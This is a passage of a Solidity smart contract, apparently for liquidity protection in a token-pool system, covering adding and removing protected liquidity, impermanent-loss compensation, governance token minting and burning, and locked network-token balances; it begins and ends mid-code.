between the two reserve tokens. the rate is of 1 unit of the protected reserve token in units of the other reserve token struct PackedRates { uint128 addSpotRateN; // spot rate of 1 A in units of B when liquidity was added (numerator) uint128 addSpotRateD; // spot rate of 1 A in units of B when liquidity was added (denominator) uint128 removeSpotRateN; // spot rate of 1 A in units of B when liquidity is removed (numerator) uint128 removeSpotRateD; // spot rate of 1 A in units of B when liquidity is removed (denominator) uint128 removeAverageRateN; // average rate of 1 A in units of B when liquidity is removed (numerator) uint128 removeAverageRateD; // average rate of 1 A in units of B when liquidity is removed (denominator) } IERC20Token internal constant ETH_RESERVE_ADDRESS = IERC20Token(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); uint32 internal constant PPM_RESOLUTION = 1000000; uint256 internal constant MAX_UINT128 = 2**128 - 1; uint256 internal constant MAX_UINT256 = uint256(-1); ILiquidityProtectionSettings public immutable override settings; ILiquidityProtectionStore public immutable override store; ILiquidityProtectionStats public immutable override stats; ILiquidityProtectionSystemStore public immutable override systemStore; ITokenHolder public immutable override wallet; IERC20Token public immutable networkToken; ITokenGovernance public immutable networkTokenGovernance; IERC20Token public immutable govToken; ITokenGovernance public immutable govTokenGovernance; ICheckpointStore public immutable lastRemoveCheckpointStore; ILiquidityProtectionEventsSubscriber public eventsSubscriber; // true if the contract is currently adding/removing liquidity from a converter, used for accepting ETH bool private updatingLiquidity = false; /** * @dev updates the event subscriber * * @param _prevEventsSubscriber the previous events subscriber * @param _newEventsSubscriber the new events subscriber */ event EventSubscriberUpdated( ILiquidityProtectionEventsSubscriber indexed _prevEventsSubscriber, ILiquidityProtectionEventsSubscriber indexed _newEventsSubscriber ); /** * @dev initializes a new LiquidityProtection contract * * @param _contractAddresses: * - [0] liquidity protection settings * - [1] liquidity protection store * - [2] liquidity protection stats * - [3] liquidity protection system store * - [4] liquidity protection wallet * - [5] network token governance * - [6] governance token governance * - [7] last liquidity removal/unprotection checkpoints store */ constructor(address[8] memory _contractAddresses) public { for (uint256 i = 0; i < _contractAddresses.length; i++) { _validAddress(_contractAddresses[i]); } settings = ILiquidityProtectionSettings(_contractAddresses[0]); store = ILiquidityProtectionStore(_contractAddresses[1]); stats = ILiquidityProtectionStats(_contractAddresses[2]); systemStore = ILiquidityProtectionSystemStore(_contractAddresses[3]); wallet = ITokenHolder(_contractAddresses[4]); networkTokenGovernance = ITokenGovernance(_contractAddresses[5]); govTokenGovernance = ITokenGovernance(_contractAddresses[6]); lastRemoveCheckpointStore = ICheckpointStore(_contractAddresses[7]); networkToken = IERC20Token(address(ITokenGovernance(_contractAddresses[5]).token())); govToken = IERC20Token(address(ITokenGovernance(_contractAddresses[6]).token())); } // ensures that the contract is currently removing liquidity from a converter modifier updatingLiquidityOnly() { require(updatingLiquidity, "ERR_NOT_UPDATING_LIQUIDITY"); _; } // ensures that the portion is valid modifier validPortion(uint32 _portion) { _validPortion(_portion); _; } // error message binary size optimization function _validPortion(uint32 _portion) internal pure { require(_portion > 0 && _portion <= PPM_RESOLUTION, "ERR_INVALID_PORTION"); } // ensures that the pool is supported and whitelisted modifier poolSupportedAndWhitelisted(IConverterAnchor _poolAnchor) { _poolSupported(_poolAnchor); _poolWhitelisted(_poolAnchor); _; } // error message binary size optimization function _poolSupported(IConverterAnchor _poolAnchor) internal view { require(settings.isPoolSupported(_poolAnchor), "ERR_POOL_NOT_SUPPORTED"); } // error message binary size optimization function _poolWhitelisted(IConverterAnchor _poolAnchor) internal view { require(settings.isPoolWhitelisted(_poolAnchor), "ERR_POOL_NOT_WHITELISTED"); } // error message binary size optimization function verifyEthAmount(uint256 _value) internal view { require(msg.value == _value, "ERR_ETH_AMOUNT_MISMATCH"); } /** * @dev accept ETH * used when removing liquidity from ETH converters */ receive() external payable updatingLiquidityOnly() {} /** * @dev transfers the ownership of the store * can only be called by the contract owner * * @param _newOwner the new owner of the store */ function transferStoreOwnership(address _newOwner) external ownerOnly { store.transferOwnership(_newOwner); } /** * @dev accepts the ownership of the store * can only be called by the contract owner */ function acceptStoreOwnership() external ownerOnly { store.acceptOwnership(); } /** * @dev transfers the ownership of the wallet * can only be called by the contract owner * * @param _newOwner the new owner of the wallet */ function transferWalletOwnership(address _newOwner) external ownerOnly { wallet.transferOwnership(_newOwner); } /** * @dev accepts the ownership of the wallet * can only be called by the contract owner */ function acceptWalletOwnership() external ownerOnly { wallet.acceptOwnership(); } /** * @dev migrates all funds from the store to the wallet * @dev migrates system balances from the store to the system-store * @dev migrates minted amounts from the settings to the system-store */ function migrateData() external { // save local copies of storage variables address storeAddress = address(store); address walletAddress = address(wallet); IERC20Token networkTokenLocal = networkToken; address[] memory poolWhitelist = settings.poolWhitelist(); for (uint256 i = 0; i < poolWhitelist.length; i++) { IERC20Token poolToken = IERC20Token(poolWhitelist[i]); store.withdrawTokens(poolToken, walletAddress, poolToken.balanceOf(storeAddress)); uint256 systemBalance = store.systemBalance(poolToken); systemStore.incSystemBalance(poolToken, systemBalance); store.decSystemBalance(poolToken, systemBalance); uint256 networkTokensMinted = settings.networkTokensMinted(IConverterAnchor(address(poolToken))); systemStore.incNetworkTokensMinted(IConverterAnchor(address(poolToken)), networkTokensMinted); settings.decNetworkTokensMinted(IConverterAnchor(address(poolToken)), networkTokensMinted); } store.withdrawTokens(networkTokenLocal, walletAddress, networkTokenLocal.balanceOf(storeAddress)); } /** * @dev sets the events subscriber */ function setEventsSubscriber(ILiquidityProtectionEventsSubscriber _eventsSubscriber) external ownerOnly validAddress(address(_eventsSubscriber)) notThis(address(_eventsSubscriber)) { emit EventSubscriberUpdated(eventsSubscriber, _eventsSubscriber); eventsSubscriber = _eventsSubscriber; } /** * @dev adds protected liquidity to a pool for a specific recipient * also mints new governance tokens for the caller if the caller adds network tokens * * @param _owner protected liquidity owner * @param _poolAnchor anchor of the pool * @param _reserveToken reserve token to add to the pool * @param _amount amount of tokens to add to the pool * @return new protected liquidity id */ function addLiquidityFor( address _owner, IConverterAnchor _poolAnchor, IERC20Token _reserveToken, uint256 _amount ) external payable override protected validAddress(_owner) poolSupportedAndWhitelisted(_poolAnchor) greaterThanZero(_amount) returns (uint256) { return addLiquidity(_owner, _poolAnchor, _reserveToken, _amount); } /** * @dev adds protected liquidity to a pool * also mints new governance tokens for the caller if the caller adds network tokens * * @param _poolAnchor anchor of the pool * @param _reserveToken reserve token to add to the pool * @param _amount amount of tokens to add to the pool * @return new protected liquidity id */ function addLiquidity( IConverterAnchor _poolAnchor, IERC20Token _reserveToken, uint256 _amount ) external payable override protected poolSupportedAndWhitelisted(_poolAnchor) greaterThanZero(_amount) returns (uint256) { return addLiquidity(msg.sender, _poolAnchor, _reserveToken, _amount); } /** * @dev adds protected liquidity to a pool for a specific recipient * also mints new governance tokens for the caller if the caller adds network tokens * * @param _owner protected liquidity owner * @param _poolAnchor anchor of the pool * @param _reserveToken reserve token to add to the pool * @param _amount amount of tokens to add to the pool * @return new protected liquidity id */ function addLiquidity( address _owner, IConverterAnchor _poolAnchor, IERC20Token _reserveToken, uint256 _amount ) private returns (uint256) { // save a local copy of `networkToken` IERC20Token networkTokenLocal = networkToken; if (_reserveToken == networkTokenLocal) { verifyEthAmount(0); return addNetworkTokenLiquidity(_owner, _poolAnchor, networkTokenLocal, _amount); } // verify that ETH was passed with the call if needed verifyEthAmount(_reserveToken == ETH_RESERVE_ADDRESS ? _amount : 0); return addBaseTokenLiquidity(_owner, _poolAnchor, _reserveToken, networkTokenLocal, _amount); } /** * @dev adds protected network token liquidity to a pool * also mints new governance tokens for the caller * * @param _owner protected liquidity owner * @param _poolAnchor anchor of the pool * @param _networkToken the network reserve token of the pool * @param _amount amount of tokens to add to the pool * @return new protected liquidity id */ function addNetworkTokenLiquidity( address _owner, IConverterAnchor _poolAnchor, IERC20Token _networkToken, uint256 _amount ) internal returns (uint256) { IDSToken poolToken = IDSToken(address(_poolAnchor)); // get the rate between the pool token and the reserve Fraction memory poolRate = poolTokenRate(poolToken, _networkToken); // calculate the amount of pool tokens based on the amount of reserve tokens uint256 poolTokenAmount = _amount.mul(poolRate.d).div(poolRate.n); // remove the pool tokens from the system's ownership (will revert if not enough tokens are available) systemStore.decSystemBalance(poolToken, poolTokenAmount); // add protected liquidity for the recipient uint256 id = addProtectedLiquidity(_owner, poolToken, _networkToken, poolTokenAmount, _amount); // burns the network tokens from the caller. we need to transfer the tokens to the contract itself, since only // token holders can burn their tokens safeTransferFrom(_networkToken, msg.sender, address(this), _amount); burnNetworkTokens(_poolAnchor, _amount); // mint governance tokens to the recipient govTokenGovernance.mint(_owner, _amount); return id; } /** * @dev adds protected base token liquidity to a pool * * @param _owner protected liquidity owner * @param _poolAnchor anchor of the pool * @param _baseToken the base reserve token of the pool * @param _networkToken the network reserve token of the pool * @param _amount amount of tokens to add to the pool * @return new protected liquidity id */ function addBaseTokenLiquidity( address _owner, IConverterAnchor _poolAnchor, IERC20Token _baseToken, IERC20Token _networkToken, uint256 _amount ) internal returns (uint256) { IDSToken poolToken = IDSToken(address(_poolAnchor)); // get the reserve balances ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(_poolAnchor))); (uint256 reserveBalanceBase, uint256 reserveBalanceNetwork) = converterReserveBalances(converter, _baseToken, _networkToken); require(reserveBalanceNetwork >= settings.minNetworkTokenLiquidityForMinting(), "ERR_NOT_ENOUGH_LIQUIDITY"); // calculate and mint the required amount of network tokens for adding liquidity uint256 newNetworkLiquidityAmount = _amount.mul(reserveBalanceNetwork).div(reserveBalanceBase); // verify network token minting limit uint256 mintingLimit = settings.networkTokenMintingLimits(_poolAnchor); if (mintingLimit == 0) { mintingLimit = settings.defaultNetworkTokenMintingLimit(); } uint256 newNetworkTokensMinted = systemStore.networkTokensMinted(_poolAnchor).add(newNetworkLiquidityAmount); require(newNetworkTokensMinted <= mintingLimit, "ERR_MAX_AMOUNT_REACHED"); // issue new network tokens to the system mintNetworkTokens(address(this), _poolAnchor, newNetworkLiquidityAmount); // transfer the base tokens from the caller and approve the converter ensureAllowance(_networkToken, address(converter), newNetworkLiquidityAmount); if (_baseToken != ETH_RESERVE_ADDRESS) { safeTransferFrom(_baseToken, msg.sender, address(this), _amount); ensureAllowance(_baseToken, address(converter), _amount); } // add liquidity addLiquidity(converter, _baseToken, _networkToken, _amount, newNetworkLiquidityAmount, msg.value); // transfer the new pool tokens to the wallet uint256 poolTokenAmount = poolToken.balanceOf(address(this)); safeTransfer(poolToken, address(wallet), poolTokenAmount); // the system splits the pool tokens with the caller // increase the system's pool token balance and add protected liquidity for the caller systemStore.incSystemBalance(poolToken, poolTokenAmount - poolTokenAmount / 2); // account for rounding errors return addProtectedLiquidity(_owner, poolToken, _baseToken, poolTokenAmount / 2, _amount); } /** * @dev returns the single-side staking limits of a given pool * * @param _poolAnchor anchor of the pool * @return maximum amount of base tokens that can be single-side staked in the pool * @return maximum amount of network tokens that can be single-side staked in the pool */ function poolAvailableSpace(IConverterAnchor _poolAnchor) external view poolSupportedAndWhitelisted(_poolAnchor) returns (uint256, uint256) { IERC20Token networkTokenLocal = networkToken; return ( baseTokenAvailableSpace(_poolAnchor, networkTokenLocal), networkTokenAvailableSpace(_poolAnchor, networkTokenLocal) ); } /** * @dev returns the base-token staking limits of a given pool * * @param _poolAnchor anchor of the pool * @return maximum amount of base tokens that can be single-side staked in the pool */ function baseTokenAvailableSpace(IConverterAnchor _poolAnchor) external view poolSupportedAndWhitelisted(_poolAnchor) returns (uint256) { return baseTokenAvailableSpace(_poolAnchor, networkToken); } /** * @dev returns the network-token staking limits of a given pool * * @param _poolAnchor anchor of the pool * @return maximum amount of network tokens that can be single-side staked in the pool */ function networkTokenAvailableSpace(IConverterAnchor _poolAnchor) external view poolSupportedAndWhitelisted(_poolAnchor) returns (uint256) { return networkTokenAvailableSpace(_poolAnchor, networkToken); } /** * @dev returns the base-token staking limits of a given pool * * @param _poolAnchor anchor of the pool * @param _networkToken the network token * @return maximum amount of base tokens that can be single-side staked in the pool */ function baseTokenAvailableSpace(IConverterAnchor _poolAnchor, IERC20Token _networkToken) internal view returns (uint256) { // get the pool converter ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(_poolAnchor))); // get the base token IERC20Token baseToken = converterOtherReserve(converter, _networkToken); // get the reserve balances (uint256 reserveBalanceBase, uint256 reserveBalanceNetwork) = converterReserveBalances(converter, baseToken, _networkToken); // get the network token minting limit uint256 mintingLimit = settings.networkTokenMintingLimits(_poolAnchor); if (mintingLimit == 0) { mintingLimit = settings.defaultNetworkTokenMintingLimit(); } // get the amount of network tokens already minted for the pool uint256 networkTokensMinted = systemStore.networkTokensMinted(_poolAnchor); // get the amount of network tokens which can minted for the pool uint256 networkTokensCanBeMinted = MathEx.max(mintingLimit, networkTokensMinted) - networkTokensMinted; // return the maximum amount of base token liquidity that can be single-sided staked in the pool return networkTokensCanBeMinted.mul(reserveBalanceBase).div(reserveBalanceNetwork); } /** * @dev returns the network-token staking limits of a given pool * * @param _poolAnchor anchor of the pool * @param _networkToken the network token * @return maximum amount of network tokens that can be single-side staked in the pool */ function networkTokenAvailableSpace(IConverterAnchor _poolAnchor, IERC20Token _networkToken) internal view returns (uint256) { // get the pool token IDSToken poolToken = IDSToken(address(_poolAnchor)); // get the pool token rate Fraction memory poolRate = poolTokenRate(poolToken, _networkToken); // return the maximum amount of network token liquidity that can be single-sided staked in the pool return systemStore.systemBalance(poolToken).mul(poolRate.n).add(poolRate.n).sub(1).div(poolRate.d); } /** * @dev returns the expected/actual amounts the provider will receive for removing liquidity * it's also possible to provide the remove liquidity time to get an estimation * for the return at that given point * * @param _id protected liquidity id * @param _portion portion of liquidity to remove, in PPM * @param _removeTimestamp time at which the liquidity is removed * @return expected return amount in the reserve token * @return actual return amount in the reserve token * @return compensation in the network token */ function removeLiquidityReturn( uint256 _id, uint32 _portion, uint256 _removeTimestamp ) external view validPortion(_portion) returns ( uint256, uint256, uint256 ) { ProtectedLiquidity memory liquidity = protectedLiquidity(_id); // verify input require(liquidity.provider != address(0), "ERR_INVALID_ID"); require(_removeTimestamp >= liquidity.timestamp, "ERR_INVALID_TIMESTAMP"); // calculate the portion of the liquidity to remove if (_portion != PPM_RESOLUTION) { liquidity.poolAmount = liquidity.poolAmount.mul(_portion) / PPM_RESOLUTION; liquidity.reserveAmount = liquidity.reserveAmount.mul(_portion) / PPM_RESOLUTION; } // get the various rates between the reserves upon adding liquidity and now PackedRates memory packedRates = packRates( liquidity.poolToken, liquidity.reserveToken, liquidity.reserveRateN, liquidity.reserveRateD, false ); uint256 targetAmount = removeLiquidityTargetAmount( liquidity.poolToken, liquidity.reserveToken, liquidity.poolAmount, liquidity.reserveAmount, packedRates, liquidity.timestamp, _removeTimestamp ); // for network token, the return amount is identical to the target amount if (liquidity.reserveToken == networkToken) { return (targetAmount, targetAmount, 0); } // handle base token return // calculate the amount of pool tokens required for liquidation // note that the amount is doubled since it's not possible to liquidate one reserve only Fraction memory poolRate = poolTokenRate(liquidity.poolToken, liquidity.reserveToken); uint256 poolAmount = targetAmount.mul(poolRate.d).div(poolRate.n / 2); // limit the amount of pool tokens by the amount the system/caller holds uint256 availableBalance = systemStore.systemBalance(liquidity.poolToken).add(liquidity.poolAmount); poolAmount = poolAmount > availableBalance ? availableBalance : poolAmount; // calculate the base token amount received by liquidating the pool tokens // note that the amount is divided by 2 since the pool amount represents both reserves uint256 baseAmount = poolAmount.mul(poolRate.n / 2).div(poolRate.d); uint256 networkAmount = getNetworkCompensation(targetAmount, baseAmount, packedRates); return (targetAmount, baseAmount, networkAmount); } /** * @dev removes protected liquidity from a pool * also burns governance tokens from the caller if the caller removes network tokens * * @param _id id in the caller's list of protected liquidity * @param _portion portion of liquidity to remove, in PPM */ function removeLiquidity(uint256 _id, uint32 _portion) external override protected validPortion(_portion) { removeLiquidity(msg.sender, _id, _portion); } /** * @dev removes protected liquidity from a pool * also burns governance tokens from the caller if the caller removes network tokens * * @param _provider protected liquidity provider * @param _id id in the caller's list of protected liquidity * @param _portion portion of liquidity to remove, in PPM */ function removeLiquidity( address payable _provider, uint256 _id, uint32 _portion ) internal { ProtectedLiquidity memory liquidity = protectedLiquidity(_id, _provider); // save a local copy of `networkToken` IERC20Token networkTokenLocal = networkToken; // verify that the pool is whitelisted _poolWhitelisted(liquidity.poolToken); // verify that the protected liquidity is not removed on the same block in which it was added require(liquidity.timestamp < time(), "ERR_TOO_EARLY"); if (_portion == PPM_RESOLUTION) { // notify event subscribers if (address(eventsSubscriber) != address(0)) { eventsSubscriber.onRemovingLiquidity( _id, _provider, liquidity.poolToken, liquidity.reserveToken, liquidity.poolAmount, liquidity.reserveAmount ); } // remove the protected liquidity from the provider store.removeProtectedLiquidity(_id); } else { // remove a portion of the protected liquidity from the provider uint256 fullPoolAmount = liquidity.poolAmount; uint256 fullReserveAmount = liquidity.reserveAmount; liquidity.poolAmount = liquidity.poolAmount.mul(_portion) / PPM_RESOLUTION; liquidity.reserveAmount = liquidity.reserveAmount.mul(_portion) / PPM_RESOLUTION; // notify event subscribers if (address(eventsSubscriber) != address(0)) { eventsSubscriber.onRemovingLiquidity( _id, _provider, liquidity.poolToken, liquidity.reserveToken, liquidity.poolAmount, liquidity.reserveAmount ); } store.updateProtectedLiquidityAmounts( _id, fullPoolAmount - liquidity.poolAmount, fullReserveAmount - liquidity.reserveAmount ); } // update the statistics stats.decreaseTotalAmounts( liquidity.provider, liquidity.poolToken, liquidity.reserveToken, liquidity.poolAmount, liquidity.reserveAmount ); // update last liquidity removal checkpoint lastRemoveCheckpointStore.addCheckpoint(_provider); // add the pool tokens to the system systemStore.incSystemBalance(liquidity.poolToken, liquidity.poolAmount); // if removing network token liquidity, burn the governance tokens from the caller. we need to transfer the // tokens to the contract itself, since only token holders can burn their tokens if (liquidity.reserveToken == networkTokenLocal) { safeTransferFrom(govToken, _provider, address(this), liquidity.reserveAmount); govTokenGovernance.burn(liquidity.reserveAmount); } // get the various rates between the reserves upon adding liquidity and now PackedRates memory packedRates = packRates( liquidity.poolToken, liquidity.reserveToken, liquidity.reserveRateN, liquidity.reserveRateD, true ); // get the target token amount uint256 targetAmount = removeLiquidityTargetAmount( liquidity.poolToken, liquidity.reserveToken, liquidity.poolAmount, liquidity.reserveAmount, packedRates, liquidity.timestamp, time() ); // remove network token liquidity if (liquidity.reserveToken == networkTokenLocal) { // mint network tokens for the caller and lock them mintNetworkTokens(address(wallet), liquidity.poolToken, targetAmount); lockTokens(_provider, targetAmount); return; } // remove base token liquidity // calculate the amount of pool tokens required for liquidation // note that the amount is doubled since it's not possible to liquidate one reserve only Fraction memory poolRate = poolTokenRate(liquidity.poolToken, liquidity.reserveToken); uint256 poolAmount = targetAmount.mul(poolRate.d).div(poolRate.n / 2); // limit the amount of pool tokens by the amount the system holds uint256 systemBalance = systemStore.systemBalance(liquidity.poolToken); poolAmount = poolAmount > systemBalance ? systemBalance : poolAmount; // withdraw the pool tokens from the wallet systemStore.decSystemBalance(liquidity.poolToken, poolAmount); wallet.withdrawTokens(liquidity.poolToken, address(this), poolAmount); // remove liquidity removeLiquidity(liquidity.poolToken, poolAmount, liquidity.reserveToken, networkTokenLocal); // transfer the base tokens to the caller uint256 baseBalance; if (liquidity.reserveToken == ETH_RESERVE_ADDRESS) { baseBalance = address(this).balance; _provider.transfer(baseBalance); } else { baseBalance = liquidity.reserveToken.balanceOf(address(this)); safeTransfer(liquidity.reserveToken, _provider, baseBalance); } // compensate the caller with network tokens if still needed uint256 delta = getNetworkCompensation(targetAmount, baseBalance, packedRates); if (delta > 0) { // check if there's enough network token balance, otherwise mint more uint256 networkBalance = networkTokenLocal.balanceOf(address(this)); if (networkBalance < delta) { networkTokenGovernance.mint(address(this), delta - networkBalance); } // lock network tokens for the caller safeTransfer(networkTokenLocal, address(wallet), delta); lockTokens(_provider, delta); } // if the contract still holds network tokens, burn them uint256 networkBalance = networkTokenLocal.balanceOf(address(this)); if (networkBalance > 0) { burnNetworkTokens(liquidity.poolToken, networkBalance); } } /** * @dev returns the amount the provider will receive for removing liquidity * it's also possible to provide the remove liquidity rate & time to get an estimation * for the return at that given point * * @param _poolToken pool token * @param _reserveToken reserve token * @param _poolAmount pool token amount when the liquidity was added * @param _reserveAmount reserve token amount that was added * @param _packedRates see `struct PackedRates` * @param _addTimestamp time at which the liquidity was added * @param _removeTimestamp time at which the liquidity is removed * @return amount received for removing liquidity */ function removeLiquidityTargetAmount( IDSToken _poolToken, IERC20Token _reserveToken, uint256 _poolAmount, uint256 _reserveAmount, PackedRates memory _packedRates, uint256 _addTimestamp, uint256 _removeTimestamp ) internal view returns (uint256) { // get the rate between the pool token and the reserve token Fraction memory poolRate = poolTokenRate(_poolToken, _reserveToken); // get the rate between the reserves upon adding liquidity and now Fraction memory addSpotRate = Fraction({ n: _packedRates.addSpotRateN, d: _packedRates.addSpotRateD }); Fraction memory removeSpotRate = Fraction({ n: _packedRates.removeSpotRateN, d: _packedRates.removeSpotRateD }); Fraction memory removeAverageRate = Fraction({ n: _packedRates.removeAverageRateN, d: _packedRates.removeAverageRateD }); // calculate the protected amount of reserve tokens plus accumulated fee before compensation uint256 total = protectedAmountPlusFee(_poolAmount, poolRate, addSpotRate, removeSpotRate); // calculate the impermanent loss Fraction memory loss = impLoss(addSpotRate, removeAverageRate); // calculate the protection level Fraction memory level = protectionLevel(_addTimestamp, _removeTimestamp); // calculate the compensation amount return compensationAmount(_reserveAmount, MathEx.max(_reserveAmount, total), loss, level); } /** * @dev allows the caller to claim network token balance that is no longer locked * note that the function can revert if the range is too large * * @param _startIndex start index in the caller's list of locked balances * @param _endIndex end index in the caller's list of locked balances (exclusive) */ function claimBalance(uint256 _startIndex, uint256 _endIndex) external protected { // get the locked balances from the store (uint256[] memory amounts, uint256[] memory expirationTimes) = store.lockedBalanceRange(msg.sender, _startIndex, _endIndex); uint256 totalAmount = 0; uint256 length = amounts.length; assert(length == expirationTimes.length); // reverse iteration since we're removing from the list for (uint256 i = length; i > 0; i--) { uint256 index = i - 1; if (expirationTimes[index] > time()) { continue; } // remove the locked balance item store.removeLockedBalance(msg.sender, _startIndex + index); totalAmount = totalAmount.add(amounts[index]); } if (totalAmount > 0) { // transfer the tokens to the caller in a single call wallet.withdrawTokens(networkToken, msg.sender, totalAmount); } } /** * @dev returns the ROI for removing liquidity in the current state after providing liquidity with the given args * the function assumes full protection is in effect * return value is in PPM and can be larger than PPM_RESOLUTION for positive ROI, 1M = 0% ROI * * @param _poolToken pool token * @param _reserveToken reserve token * @param _reserveAmount reserve token amount that was added * @param _poolRateN rate of 1 pool token in reserve token units when the liquidity was added (numerator) * @param _poolRateD rate of 1 pool token in reserve token units when the liquidity was added (denominator) * @param _reserveRateN rate of 1 reserve token in the other reserve token units when the liquidity was added (numerator) * @param _reserveRateD rate of 1 reserve token in the other reserve token units when the liquidity was added (denominator) * @return ROI in PPM */ function poolROI( IDSToken _poolToken, IERC20Token _reserveToken, uint256 _reserveAmount, uint256 _poolRateN, uint256 _poolRateD, uint256 _reserveRateN, uint256 _reserveRateD ) external view returns (uint256) { // calculate the amount of pool tokens based on the amount of reserve tokens uint256 poolAmount = _reserveAmount.mul(_poolRateD).div(_poolRateN); // get the various rates between the reserves upon adding liquidity and now PackedRates memory packedRates = packRates(_poolToken, _reserveToken, _reserveRateN, _reserveRateD, false); // get the current return uint256 protectedReturn = removeLiquidityTargetAmount( _poolToken, _reserveToken, poolAmount, _reserveAmount, packedRates, time().sub(settings.maxProtectionDelay()), time() ); // calculate the ROI as the ratio between the current fully protected return and the initial amount return protectedReturn.mul(PPM_RESOLUTION).div(_reserveAmount); } /** * @dev adds protected liquidity for the caller to the store * * @param _provider protected liquidity provider * @param _poolToken pool token * @param _reserveToken reserve token * @param _poolAmount amount of pool tokens to protect * @param _reserveAmount amount of reserve tokens to protect * @return new protected liquidity id */ function addProtectedLiquidity( address _provider, IDSToken _poolToken, IERC20Token _reserveToken, uint256 _poolAmount, uint256 _reserveAmount ) internal returns (uint256) { // notify event subscribers if (address(eventsSubscriber) != address(0)) { eventsSubscriber.onAddingLiquidity(_provider, _poolToken, _reserveToken, _poolAmount, _reserveAmount); } Fraction memory rate = reserveTokenAverageRate(_poolToken, _reserveToken, true); stats.increaseTotalAmounts(_provider, _poolToken, _reserveToken, _poolAmount, _reserveAmount); stats.addProviderPool(_provider, _poolToken); return store.addProtectedLiquidity( _provider, _poolToken, _reserveToken, _poolAmount, _reserveAmount, rate.n, rate.d, time() ); } /** * @dev locks network tokens for the provider and emits the tokens locked event * * @param _provider tokens provider * @param _amount amount of network tokens */ function lockTokens(address _provider, uint256 _amount) internal { uint256 expirationTime = time().add(settings.lockDuration()); store.addLockedBalance(_provider, _amount, expirationTime); } /** * @dev returns the rate of 1 pool token in reserve token units * * @param _poolToken pool token * @param _reserveToken reserve token */ function poolTokenRate(IDSToken _poolToken, IERC20Token _reserveToken) internal view virtual returns (Fraction memory) { // get the pool token supply uint256 poolTokenSupply = _poolToken.totalSupply(); // get the reserve balance IConverter converter = IConverter(payable(ownedBy(_poolToken))); uint256 reserveBalance = converter.getConnectorBalance(_reserveToken); // for standard pools, 50% of the pool supply value equals the value of each reserve return Fraction({ n: reserveBalance.mul(2), d: poolTokenSupply }); } /** * @dev returns the average rate of 1 reserve token in the other reserve token units * * @param _poolToken pool token * @param _reserveToken reserve token * @param _validateAverageRate true to validate the average rate; false otherwise */ function reserveTokenAverageRate( IDSToken _poolToken, IERC20Token _reserveToken, bool _validateAverageRate ) internal view returns (Fraction memory) { (, , uint256 averageRateN, uint256 averageRateD) = reserveTokenRates(_poolToken, _reserveToken, _validateAverageRate); return Fraction(averageRateN, averageRateD); } /** * @dev returns the spot rate and average rate of 1 reserve token in the other reserve token units * * @param _poolToken pool token * @param _reserveToken reserve token * @param _validateAverageRate true to validate the average rate; false otherwise */ function reserveTokenRates( IDSToken _poolToken, IERC20Token _reserveToken, bool _validateAverageRate ) internal view returns ( uint256, uint256, uint256, uint256 ) { ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(_poolToken))); IERC20Token otherReserve = converterOtherReserve(converter, _reserveToken); (uint256 spotRateN, uint256 spotRateD) = converterReserveBalances(converter, otherReserve, _reserveToken); (uint256 averageRateN, uint256 averageRateD) = converter.recentAverageRate(_reserveToken); require( !_validateAverageRate || averageRateInRange( spotRateN, spotRateD, averageRateN, averageRateD, settings.averageRateMaxDeviation() ), "ERR_INVALID_RATE" ); return (spotRateN, spotRateD, averageRateN, averageRateD); } /** * @dev returns the various rates between the reserves * * @param _poolToken pool token * @param _reserveToken reserve token * @param _addSpotRateN add spot rate numerator * @param _addSpotRateD add spot rate denominator * @param _validateAverageRate true to validate the average rate; false otherwise * @return see `struct PackedRates` */ function packRates( IDSToken _poolToken, IERC20Token _reserveToken, uint256 _addSpotRateN, uint256 _addSpotRateD, bool _validateAverageRate ) internal view returns (PackedRates memory) { (uint256 removeSpotRateN, uint256 removeSpotRateD, uint256 removeAverageRateN, uint256 removeAverageRateD) = reserveTokenRates(_poolToken, _reserveToken, _validateAverageRate); require( (_addSpotRateN <= MAX_UINT128 && _addSpotRateD <= MAX_UINT128) && (removeSpotRateN <= MAX_UINT128 && removeSpotRateD <= MAX_UINT128) && (removeAverageRateN <= MAX_UINT128 && removeAverageRateD <= MAX_UINT128), "ERR_INVALID_RATE" ); return PackedRates({ addSpotRateN: uint128(_addSpotRateN), addSpotRateD: uint128(_addSpotRateD), removeSpotRateN: uint128(removeSpotRateN), removeSpotRateD: uint128(removeSpotRateD), removeAverageRateN: uint128(removeAverageRateN), removeAverageRateD: uint128(removeAverageRateD) }); } /** * @dev returns whether or not the deviation of the average rate from the spot rate is within range * for example, if the maximum permitted deviation is 5%, then return `95/100 <= average/spot <= 100/95` * * @param _spotRateN spot rate numerator * @param _spotRateD spot rate denominator * @param _averageRateN average rate numerator * @param _averageRateD average rate denominator * @param _maxDeviation the maximum permitted deviation of the average rate from the spot rate */ function averageRateInRange( uint256 _spotRateN, uint256 _spotRateD, uint256 _averageRateN, uint256 _averageRateD, uint32 _maxDeviation ) internal pure returns (bool) { uint256 ppmDelta = PPM_RESOLUTION - _maxDeviation; uint256 min = _spotRateN.mul(_averageRateD).mul(ppmDelta).mul(ppmDelta); uint256 mid = _spotRateD.mul(_averageRateN).mul(ppmDelta).mul(PPM_RESOLUTION); uint256 max = _spotRateN.mul(_averageRateD).mul(PPM_RESOLUTION).mul(PPM_RESOLUTION); return min <= mid && mid <= max; } /** * @dev utility to add liquidity to a converter * * @param _converter converter * @param _reserveToken1 reserve token 1 * @param _reserveToken2 reserve token 2 * @param _reserveAmount1 reserve amount 1 * @param _reserveAmount2 reserve amount 2 * @param _value ETH amount to add */ function addLiquidity( ILiquidityPoolConverter _converter, IERC20Token _reserveToken1, IERC20Token _reserveToken2, uint256 _reserveAmount1, uint256 _reserveAmount2, uint256 _value ) internal { // ensure that the contract can receive ETH updatingLiquidity = true; IERC20Token[] memory reserveTokens = new IERC20Token[](2); uint256[] memory amounts = new uint256[](2); reserveTokens[0] = _reserveToken1; reserveTokens[1] = _reserveToken2; amounts[0] = _reserveAmount1; amounts[1] = _reserveAmount2; _converter.addLiquidity{ value: _value }(reserveTokens, amounts, 1); // ensure that the contract can receive ETH updatingLiquidity = false; } /** * @dev utility to remove liquidity from a converter * * @param _poolToken pool token of the converter * @param _poolAmount amount of pool tokens to remove * @param _reserveToken1 reserve token 1 * @param _reserveToken2 reserve token 2 */ function removeLiquidity( IDSToken _poolToken, uint256 _poolAmount, IERC20Token _reserveToken1, IERC20Token _reserveToken2 ) internal { ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(_poolToken))); // ensure that the contract can receive ETH 